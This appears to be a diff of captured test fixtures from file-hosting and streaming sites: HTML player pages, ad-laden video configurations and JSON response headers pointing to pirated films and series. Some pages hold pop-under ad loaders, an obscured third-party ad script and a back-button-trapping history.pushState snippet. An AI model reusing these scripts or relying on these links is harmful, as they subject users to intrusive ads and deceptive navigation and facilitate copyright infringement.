<i class="icon icon-user icon-size-18 text-muted"></i>
</button>
</div>
</div>
</div>
</div>
</header>
<script src="https://filemoon.to/js/jquery.cookie.js"></script>
<script>
$.cookie('file_id', '48721931', { expires: 10 });
$.cookie('aff', '89667', { expires: 10 });
$.cookie('ref_url', 'https://filemoon.to/d/ugj7f1kq94p1', { expires: 10 });
</script>
<script type="text/javascript" src='/js/ls.js'></script>
<main class="flex-grow-1 a-bean">
<div class="container mt-5">
<div class="mb-4 mb-lg-5 sm-bg px-4 py-5 p-lg-0 mx-lg-5 rounded-lg">
<div class="row justify-content-between align-items-center text-muted mb-4 mb-lg-5">
<div class="col-auto mb-2">
<h3 class="text-light mb-0 font-weight-bold">tt0307453</h3>
</div>
<div class="col-auto mb-2"> Uploaded: <span class="text-success">2025-08-24 00:12:36</span>
</div>
</div>
<div class="mb-4 mb-lg-5 ">
<div class="position-relative">
<div class="bimg-top text-center">
<div>
</div>
<div>
</div>
</div>
<div style="height: 640px;" id="iframe-holder">
<iframe src="https://ico3c.com/bkg/ugj7f1kq94p1" frameborder="0" marginwidth="0" marginheight="0" scrolling="no" width="100%" height="100%" allowfullscreen></iframe>
</div>
<div class="bimg-bottom text-center">
<div>
</div>
<div>
</div>
</div>
</div>
</div>
<div class="mb-4 mb-lg-5 text-center">
<a href="/download/ugj7f1kq94p1" class="btn btn-success px-5">Download</a>
</div>
</div>
</div>
</main>
<style>
#vplayer {padding-top: 56.25%;}
.bimg-top,
.bimg-bottom {
display: -webkit-flex;
display: -ms-flex;
display: flex;
-ms-align-items: center;
align-items: center;
-webkit-flex-wrap: wrap;
-ms-flex-wrap: wrap;
flex-wrap: wrap;
justify-content: center;
}
.bimg-top div,
.bimg-bottom div {
margin: .5rem;
}
@media(min-width:1600px){
.bimg-top,
.bimg-bottom {
position: absolute;
top: 0;
bottom: 0;
flex-direction: column;
}
.bimg-top {
left: -310px;
}
.bimg-bottom {
right: -310px;
}
.bimg-top div,
.bimg-bottom div {
margin: .5rem 0;
}
}
@media(min-width:1800px){
.bimg-top {
left: -350px;
}
.bimg-bottom {
right: -350px;
}
}
</style>
<footer class="footer py-4 py-lg-5">
<div class="container">
<div class="row align-items-center justify-content-between">
<div class="col-auto my-1">
<div class="text-muted"> FileMoon © 2022 </div>
</div>
<div class="col-auto my-1">
<nav class="nav">
<a class="nav-link text-muted footer-link px-0 mr-4" href="/">Home</a>
<a class="nav-link text-muted footer-link px-0 mr-4" href="/tos">Terms of Service</a>
<a class="nav-link text-muted footer-link px-0 mr-4" href="/privacy">Privacy Policy</a>
<a class="nav-link text-muted footer-link px-0 mr-4" href="/copyright">Copyright Policy</a>
<a class="nav-link text-muted footer-link px-0 mr-4" href="/affiliate">Make Money</a>
<a class="nav-link text-muted footer-link px-0 mr-4" href="/api">API Documentation</a>
<a class="nav-link text-muted footer-link px-0 mr-4" href="https://status.filemoon.sx">Server Status</a>
</nav>
</div>
</div>
</div>
</footer>
</div>
<div class="ssm">
<nav class="nav ssm-nav flex-column">
<a class="nav-link ssm-nav-link active" href="/"><i class="icon icon-home icon-size-16 ssm-nav-icon mr-3"></i>Home</a>
<a class="nav-link ssm-nav-link" href="/dashboard"><i class="icon icon-account icon-size-16 ssm-nav-icon mr-3"></i>My account</a>
<a class="nav-link ssm-nav-link" href="/premium"><i class="icon icon-money icon-size-16 ssm-nav-icon mr-3"></i>Premium</a>
<a class="nav-link ssm-nav-link" href="/affiliate"><i class="icon icon-money icon-size-16 ssm-nav-icon mr-3"></i>Make Money</a>
</nav>
<hr class="mx-3">
<nav class="nav flex-column ssm-nav">
<a class="nav-link ssm-nav-link" href="/tos"><i class="icon icon-pen icon-size-16 ssm-nav-icon mr-3"></i>Terms of Service</a>
<a class="nav-link ssm-nav-link" href="/privacy"><i class="icon icon-key icon-size-16 ssm-nav-icon mr-3"></i>Privacy Policy</a>
<a class="nav-link ssm-nav-link" href="/api"><i class="icon icon-note icon-size-16 ssm-nav-icon mr-3"></i>API Documentation</a>
<a class="nav-link ssm-nav-link" href="https://status.filemoon.sx"><i class="icon icon-note icon-size-16 ssm-nav-icon mr-3"></i>Server Status</a>
</nav>
</div>
<div class="ssm-overlay ssm-toggle-nav"></div>
<div class="usrmobile p-5 usrmobile-toggle-nav">
<a href="/login" class="btn btn-success btn-success-custom btn-lg btn-block text-uppercase shadow">Sign in</a>
<a href="/register" class="btn btn-outline-success btn-lg btn-block mb-2 text-uppercase">Sign up</a>
</div>
<script src="//filemoon.to/assets/js/bootstrap.bundle.min.js"></script>
<script src="//filemoon.to/assets/js/jquery.slideandswipe.min.js"></script>
<script src="//filemoon.to/assets/js/jquery.touchSwipe.min.js"></script>
<script src="//filemoon.to/assets/js/front.js"></script>
</body>
</html>

File diff suppressed because one or more lines are too long

View file

@ -1 +0,0 @@
{"destination_url":"https://be7713.rcr82.waw05.i8yz83pn.com/hls2/05/09711/aeuhexjcoysl_x/master.m3u8?t=fiqqJThcgnrc77etu-nLPLodbF1UeqY5Cou0vvnLIB0&s=1765556185&e=10800&f=48721931&srv=1050&asn=13335&sp=5500&p=","request_headers":{"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36","referer":"https://ico3c.com/bkg/ugj7f1kq94p1"},"mediaflow_proxy_url":"https://mediaflow.test.org/proxy/hls/manifest.m3u8","query_params":{"api_password":"test"}}

View file

@ -1 +0,0 @@
{"server":"nginx","date":"Tue, 06 Jan 2026 15:18:15 GMT","content-type":"text/html; charset=UTF-8","connection":"close","referrer-policy":"strict-origin-when-cross-origin","location":"https://a41.filevideo1.com/remote_control.php?time=1767712695&cv=a5df8582e6558fcf6bc25d7f02e5e646&lr=0&cv2=81173262e5b3e34fa9ebf67326ca98a5&file=%2Fvideos%2F948000%2F948429%2F948429_720p.mp4&cv3=2d8ee1a66c0ca6ce75d84c67a50a70e9&cv4=6974d60c75ea0485c4f2a71b164a21ce"}

View file

@ -1 +0,0 @@
{"server":"nginx","date":"Tue, 06 Jan 2026 15:18:15 GMT","content-type":"text/html; charset=UTF-8","connection":"close","referrer-policy":"strict-origin-when-cross-origin","location":"https://a41.filevideo1.com/remote_control.php?time=1767712695&cv=a5df8582e6558fcf6bc25d7f02e5e646&lr=0&cv2=81173262e5b3e34fa9ebf67326ca98a5&file=%2Fvideos%2F948000%2F948429%2F948429_360p.mp4&cv3=2d8ee1a66c0ca6ce75d84c67a50a70e9&cv4=3ea2409b52380eb78c22c143fa6e27db"}

View file

@ -1 +0,0 @@
{"server":"nginx","date":"Tue, 06 Jan 2026 15:18:15 GMT","content-type":"text/html; charset=UTF-8","connection":"close","referrer-policy":"strict-origin-when-cross-origin","location":"https://a41.filevideo1.com/remote_control.php?time=1767712695&cv=a5df8582e6558fcf6bc25d7f02e5e646&lr=0&cv2=81173262e5b3e34fa9ebf67326ca98a5&file=%2Fvideos%2F948000%2F948429%2F948429.mp4&cv3=2d8ee1a66c0ca6ce75d84c67a50a70e9&cv4=7cf7fccae0c48291e3452c8ca2277f70"}

View file

@ -1,211 +0,0 @@
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Wake.Up.Dead.Man.A.Knives.Out.Mystery.2025.mkv</title>
<script src='/player/player-101224.js' type='text/javascript'></script>
<!-- Google tag (gtag.js) -->
<script async src="https://www.googletagmanager.com/gtag/js?id=G-CFYS4N19SL"></script>
<script>
window.dataLayer = window.dataLayer || [];
function gtag(){dataLayer.push(arguments);}
gtag('js', new Date());
gtag('config', 'G-CFYS4N19SL', {cookie_flags: 'max-age=7200;secure;samesite=none'});
gtag('config', 'G-SZ2D21EHGZ', {cookie_flags: 'max-age=7200;secure;samesite=none'});
gtag('config', 'G-7F9RVQ2TM0', {cookie_flags: 'max-age=7200;secure;samesite=none'});
gtag('config', 'G-LZP7HENPSC', {cookie_flags: 'max-age=7200;secure;samesite=none'});
</script>
</head>
<body style="margin:0; padding:0; background:#000000; color:#ffffff">
<div id="Video948429" style="width:100%; height:100%;"></div>
<script>
var isMobile = {
Android: function() {
return navigator.userAgent.match(/Android/i);
},
BlackBerry: function() {
return navigator.userAgent.match(/BlackBerry/i);
},
iOS: function() {
return navigator.userAgent.match(/iPhone|iPad|iPod/i);
},
Opera: function() {
return navigator.userAgent.match(/Opera Mini/i);
},
SmartTV: function() {
return navigator.userAgent.match(/Apple TV|Tizen|Web0S|WebOS|TSBNetTV|PHILIPSTV|NETFLIX|BRAVIA|Opera TV Store|SmartTV|SmartTv/i);
},
Windows: function() {
return navigator.userAgent.match(/IEMobile/i);
},
any: function() {
return (isMobile.Android() || isMobile.BlackBerry() || isMobile.iOS() || isMobile.Opera() || isMobile.SmartTV() || isMobile.Windows());
}
};
if(isMobile.iOS()){
var player = new Playerjs({
id: 'Video948429',
subtitle: "",
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
embed: "https://fsst.online/embed/948429/",
default_quality: "360p",
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
} else {
if(isMobile.Android()){
var player = new Playerjs({
id: 'Video948429',
subtitle: "",
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
embed: "https://fsst.online/embed/948429/",
default_quality: "360p",
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
} else {
if(isMobile.SmartTV()){
var player = new Playerjs({
id: 'Video948429',
subtitle: "",
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
embed: "https://fsst.online/embed/948429/",
default_quality: "360p",
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
} else {
var player = new Playerjs({
id: 'Video948429',
subtitle: "",
poster: 'https://www.secvideo1.online/contents/videos_screenshots/948000/948429/preview.jpg',
file:"[360p]https://www.secvideo1.online/get_file/18/5f4c7a9db5fbdfe139db2e22c9c8a2d20cb476bf49/948000/948429/948429_360p.mp4/,[720p]https://www.secvideo1.online/get_file/18/2b29f2b5e347fae9289b47644f3c93e1a94d9c7611/948000/948429/948429_720p.mp4/,[1080p]https://www.secvideo1.online/get_file/18/f4595a22a9b081291cd4107986a6f5e1c7e4ef6d10/948000/948429/948429.mp4/",
url: 'https://fsst.online/videos/948429/wake-up-dead-man-a-knives-out-mystery-2025-mkv/',
embed: "https://fsst.online/embed/948429/",
default_quality: "360p",
preroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemf&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemg&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemh&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemi&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemk&p2=jjsh and //adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeml&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemo&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemp&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgems&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgemt&p2=jjsh",
pauseroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
postroll: "//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh",
midroll:[{time:"50%",vast:"//adx.stack.bidster.net/vast/4e8317ad-ef6e-4880-963c-d698f63e5dd4 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuh&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeui&p2=jjsh or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuj&p2=jjsh or //z.cdn.trafficbass.com/load?o=v&z=1525212045&random=(random) or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeuk&p2=jjsh or //prfctmney.com/alpha/4052 or //yandex.ru/ads/adfox/12359998/getCode?p1=dgeul&p2=jjsh"}], });
}
}
}
</script>
<script>
function PlayerjsEvents(event,id,info){
if(event=="vast_url"){
url = info;
}
if(event=="inited"){
console.log("inited");
console.log(Math.round(player.api("time")));
window.parent.postMessage({
event: 'inited',
time: Math.round(player.api("time")),
}, '*');
}
if(event=="vast_Impression"){
console.log("Impression");
console.log(url);
yaCounter49597111.reachGoal('vast_impression', {Ads: url.split(/\/+/)[1]});
gtag('event', 'ADS_viewed', {
'send_to': 'G-LZP7HENPSC',
'event_category': 'Video',
'event_label': '28214',
});
gtag('event', 'Vast Impression', {
'send_to': 'G-7F9RVQ2TM0',
'event_category': 'Video',
'event_label': url.split(/\/+/)[1],
});
}
if(event=="start"){
console.log("started");
console.log(Math.round(player.api("time")));
yaCounter49597111.reachGoal('play');
gtag('event', 'Video_played', {
'send_to': 'G-LZP7HENPSC',
'event_category': 'Video',
'event_label': '28214',
});
gtag('event', 'Play', {
'send_to': 'G-SZ2D21EHGZ',
'event_category': 'Video',
'event_label': 'Play',
});
window.parent.postMessage({
event: 'started',
time: Math.round(player.api("time")),
}, '*');
}
if(event=="pause"){
console.log("paused");
console.log(Math.round(player.api("time")));
window.parent.postMessage({
event: 'paused',
time: Math.round(player.api("time")),
}, '*');
}
if(event=="end"){
console.log("ended");
console.log(Math.round(player.api("time")));
window.parent.postMessage({
event: 'ended',
time: Math.round(player.api("time")),
}, '*');
}
}
</script>
<!-- Yandex.Metrika counter -->
<script type="text/javascript" >
(function (d, w, c) {
(w[c] = w[c] || []).push(function() {
try {
w.yaCounter49597111 = new Ya.Metrika2({
id:49597111,
clickmap:true,
trackLinks:true,
accurateTrackBounce:true
});
} catch(e) { }
});
var n = d.getElementsByTagName("script")[0],
s = d.createElement("script"),
f = function () { n.parentNode.insertBefore(s, n); };
s.type = "text/javascript";
s.async = true;
s.src = "https://cdn.jsdelivr.net/npm/yandex-metrica-watch/tag.js";
if (w.opera == "[object Opera]") {
d.addEventListener("DOMContentLoaded", f, false);
} else { f(); }
})(document, window, "yandex_metrika_callbacks2");
</script>
<noscript><div><img src="https://mc.yandex.ru/watch/49597111" style="position:absolute; left:-9999px;" alt="" /></div></noscript>
<!-- /Yandex.Metrika counter -->
<!-- https://fsst.online/embed/948429/ -->
<!-- 2 -->
<!-- -->
</body>
</html>

View file

@ -0,0 +1 @@
{"accept-ranges":"bytes","access-control-allow-origin":"*","cache-control":"public, max-age=31536000","connection":"close","content-disposition":"attachment; filename=\"Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv\"","content-length":"3386258053","content-security-policy":"default-src 'self'; script-src 'none'","content-type":"video/x-matroska","date":"Tue, 16 Sep 2025 12:25:06 GMT","last-modified":"Sun, 18 May 2025 10:50:26 GMT","strict-transport-security":"max-age=31536000","x-ratelimit-limit":"3000","x-ratelimit-remaining":"2998","x-ratelimit-reset":"1758025560","x-robots-tag":"noindex, nofollow"}

View file

@ -0,0 +1 @@
{"accept-ranges":"bytes","access-control-allow-origin":"*","cache-control":"public, max-age=31536000","connection":"close","content-disposition":"inline; filename=\"Dexter.Original.Sin.S01E01.2160p.SKST.WEB-DL.H.265.DDP5.1-Tyrell.mkv\"","content-length":"5733546178","content-security-policy":"default-src 'self'; script-src 'none'","content-type":"video/x-matroska","date":"Tue, 16 Sep 2025 12:25:05 GMT","last-modified":"Sun, 25 May 2025 11:45:11 GMT","strict-transport-security":"max-age=31536000","x-ratelimit-limit":"3000","x-ratelimit-remaining":"2998","x-ratelimit-reset":"1758025560","x-robots-tag":"noindex, nofollow"}

View file

@ -0,0 +1 @@
{"accept-ranges":"bytes","cache-control":"public, max-age=604800","cf-ray":"980058374e5337d8-FRA","connection":"close","content-disposition":"attachment; filename*=UTF-8''Dark.S03E08.The.Paradise.1080p.NF.WEB-DL.English.DDP5.1-German.DDP5.1.H.264-4kHdHub.Com.mkv","content-language":"S-B0t","content-length":"3386258051","content-type":"application/octet-stream","date":"Tue, 16 Sep 2025 12:25:06 GMT","etag":"\"26f5e98cf3cc3ef929a660fbf44fe115-404\"","last-modified":"Sun, 18 May 2025 11:02:51 GMT","server":"cloudflare","vary":"Accept-Encoding"}

View file

@ -1,11 +1,4 @@
<script id="aclib" type="text/javascript" src="//acscdn.com/script/aclib.js"></script> <script data-cfasync="false" src="//d1vy7td57198sq.cloudfront.net/?dtyvd=1108348"></script>
<script type="text/javascript">
aclib.runPop({
zoneId: '10553222',
});
</script>
<!--<script data-cfasync="false" src="//dl4d3y1ajyv3q.cloudfront.net/?aydld=1220853"></script>-->
<script> <script>
document.addEventListener("DOMContentLoaded", function() { document.addEventListener("DOMContentLoaded", function() {
history.pushState(null, null, location.href); history.pushState(null, null, location.href);
@ -19,7 +12,8 @@ document.addEventListener("DOMContentLoaded", function() {
<head> <head>
<title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title> <title>Crayon Shinchan Action Kamen vs Demon (1993) 1080p BluRay REMUX AVC [Hindi DD 2.0 + Japanese FLAC 2.0] (PitiPati-Ionicboy) (4kHDHub.com).mkv</title>
<meta charset="utf-8"> <meta charset="utf-8">
<meta name="referrer" content="no-referrer"/> <script async src="https://arc.io/widget.min.js#cmedRMLe"></script>
<meta name="referrer" content="no-referrer">
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous"> <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css" integrity="sha384-50oBUHEmvpQ+1lW4y57PTFmhCaXp0ML5d60M1M7uH2+nqUivzIebhndOJK28anvf" crossorigin="anonymous">
@ -136,11 +130,10 @@ document.addEventListener("DOMContentLoaded", function() {
color: #000 color: #000
} }
</style> </style>
<body> <body><center>
<center>
<br/> <br/>
<div class="header"> <div class="header">
